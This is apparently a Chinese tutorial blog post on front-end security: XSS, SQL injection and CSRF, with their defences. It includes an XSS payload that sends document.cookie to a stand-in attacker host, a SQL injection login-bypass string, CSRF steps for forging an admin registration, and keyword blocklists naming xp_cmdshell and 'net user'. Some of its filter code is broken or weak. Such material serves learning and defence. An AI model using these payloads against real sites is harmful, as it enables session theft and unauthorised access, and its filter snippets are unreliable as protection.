前端安全问题

今天去一家公司面试,这是我毕业之后的第一次跳槽面试。有点紧张,面试官问了一下关于前端安全的问题直接把我给问蒙住了。之前一直没有太留意过这些方面的问题。回来之后自己找了些资料看了一下,做个总结,以防自己以后再遇到这些尴尬的问题。

1、XSS

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。(百度百科)

发生的原理:用户输入的数据变成了程序,并返回到客户端执行。

分类:

1、Dom-Based XSS 漏洞
假设有个交友网站(http://xxx.com)存在该漏洞。
建立一个自己的网站(http://yyy.com)
构建一个恶意的URL,发送给其他用户。

http://xxx.com/search.asp?user=<script>window.open("http://yyy.com?cookie="+document.cookie)</script>

用户点击之后会将他的的cookie发送到我们的网站服务器,从而得到用户的信息。

2、Stored XSS(存储式XSS漏洞)
假设某网站存在该漏洞
我通过上传一片文章,并在文章中添加一下代码。并将文章存储到数据库中

<script>window.open("http://yyy.com?cookie="+document.cookie)</script>

这样当其他用户点开该文章的时候就会将他的cookie发送到我们的网站服务器

注:Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户

修复:

原则:不相信客户输入的数据
注意:攻击代码不一定在script中
1. 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了。
2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
3. 对数据进行Html Encode 处理
4. 过滤或移除特殊的Html标签, 例如: script,iframe等。
5. 过滤JavaScript 事件的标签。例如 “οnclick=”, “onfocus” 等等。

参考: Web安全测试之XSS:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

2、SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。[1] 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。(百度百科)

场景模拟:

用户表:users
用户名和密码:admin 123456
当我们输入用户名和密码之后,程序查询数据库:

select count(*) from users where username='admin' and password='123456'

此时验证通过,我们登录成功。
假设我们不知道用户名和密码,我们输入:
用户名:test’ or 1=1 - -
密码:123
此时产生的sql语句为:

select count(*) from users where username='test' or 1=1 - - and password='123'

两个-注释了后续的语句,这时候我们同样可以登录成功,获取该用户信息。
注:这只是最简单的最理想化的场景
详细请查看:http://www.jb51.net/hack/64764.html

如何预防:

  • 尽量不要使用字符串拼接的方式连接SQL语句。
    对于JSP来说:以PreparedStatement代替Statement。PreparedStatement是预编译的,比Statement速度快。并且代码的可读性和可维护性;PreparedStatement尽最大可能提高性能;最重要的一点是极大地提高了安全性。
    对于.NET来说:利用SqlCommand传参数的方法
string strSQL="SELECT * FROM [user] WHERE user_id=@id";
SqlCommand cmd = new SqlCommand();
cmd.CommandText = strSQL;
cmd.Parameters.Add("@id",SqlDbType.VarChar,20).Value=Request["id"].ToString();
  • 限制用户的数据区权限。用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。
  • 使用存储过程进行数据库操作
  • 检验用户输入数据的合法性,过滤掉一些特殊的字符或者是sql关键字
// js校验url
var url = location.search;
var re=/^\?(.*)(select%20|insert%20|delete%20from%20|count\(|drop%20table|update%20truncate%20|asc\(|mid\(|char\(|xp_cmdshell|exec%20master|net%20localgroup%20administrators|\"|:|net%20user|\|%20or%20)(.*)$/gi;
var e = re.test(url);
if(e) {
    alert("地址中含有非法字符~");
    location.href="error.asp";
}
// .NET过滤sql关键字
/// <summary>
/// 过滤SQL语句,防止注入
/// </summary>
/// <param name="strSql"></param>
/// <returns>0 - 没有注入, 1 - 有注入 </returns>
public int filterSql(string sSql)
{ 
    int srcLen, decLen = 0;
    sSql = sSql.ToLower().Trim();
    srcLen = sSql.Length;
    sSql = sSql.Replace("exec", "");
    sSql = sSql.Replace("delete", "");
    sSql = sSql.Replace("master", "");
    sSql = sSql.Replace("truncate", "");
    sSql = sSql.Replace("declare", "");
    sSql = sSql.Replace("create", "");
    sSql = sSql.Replace("xp_", "no");
    decLen = sSql.Length;
    if (srcLen == decLen) return 0; else return 1;         
}
// java过滤sql关键字
public static String filterContent(String content){
    String flt ="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|; |or|-|+|,"; 
    Stringfilter[] = flt.split("|"); 
    for(int i=0; i {
        content.replace(filter[i], ""); 
    }
    return content; 
}
  • 将用户登录名称、密码等数据加密保存。
  • 检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。

3、CSRF

CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。(百度百科)

场景模拟:

目的:注册一个管理员账户
步骤:
1. 该网站(http://A.com)是采用某种已经搭建好基本框架的程序开发,并且未进行令牌(token)验证
2. 下载该源码框架,并找到管理员注册界面(mananger.html)的html代码。
3. 修改该html的内容,删除不必要的代码。将自己的信息赋值进去,并编写js,当打开这个页面的时候提交该表单。表单的action指向(http://A.com/mananger.html)
4. 构建自己的网站(http://B.com)并将B.html存放在自己的放在自己的网站中。
5. 通过站内消息向管理员发送一个链接(http://B.com/B.html)
6. 当管理员打开网站之后,就会立即提交我自己写好的form表单。(因为此时管理员登录了且其session并没有失效)
7. 这时候我的管机员账号就注册成功了。
类似如下图:
这里写图片描述

防御方式:

请求令牌(一种简单有效的防御方法):

首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,处理完成后清理session中的值,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份

注意:

  • 虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
  • 在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
  • 第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
  • 无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到。

如下也列出一些据说能有效防范 CSRF,其实效果甚微或甚至无效的做法:

  • 通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
  • 过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src=”./create_post.php” 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。
  • 在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。 作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了

参考:
从零开始学CSRF:http://www.freebuf.com/articles/web/55965.html
漏洞科普:对于XSS和CSRF你究竟了解多少:http://www.freebuf.com/articles/web/39234.html

未完待续。。。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值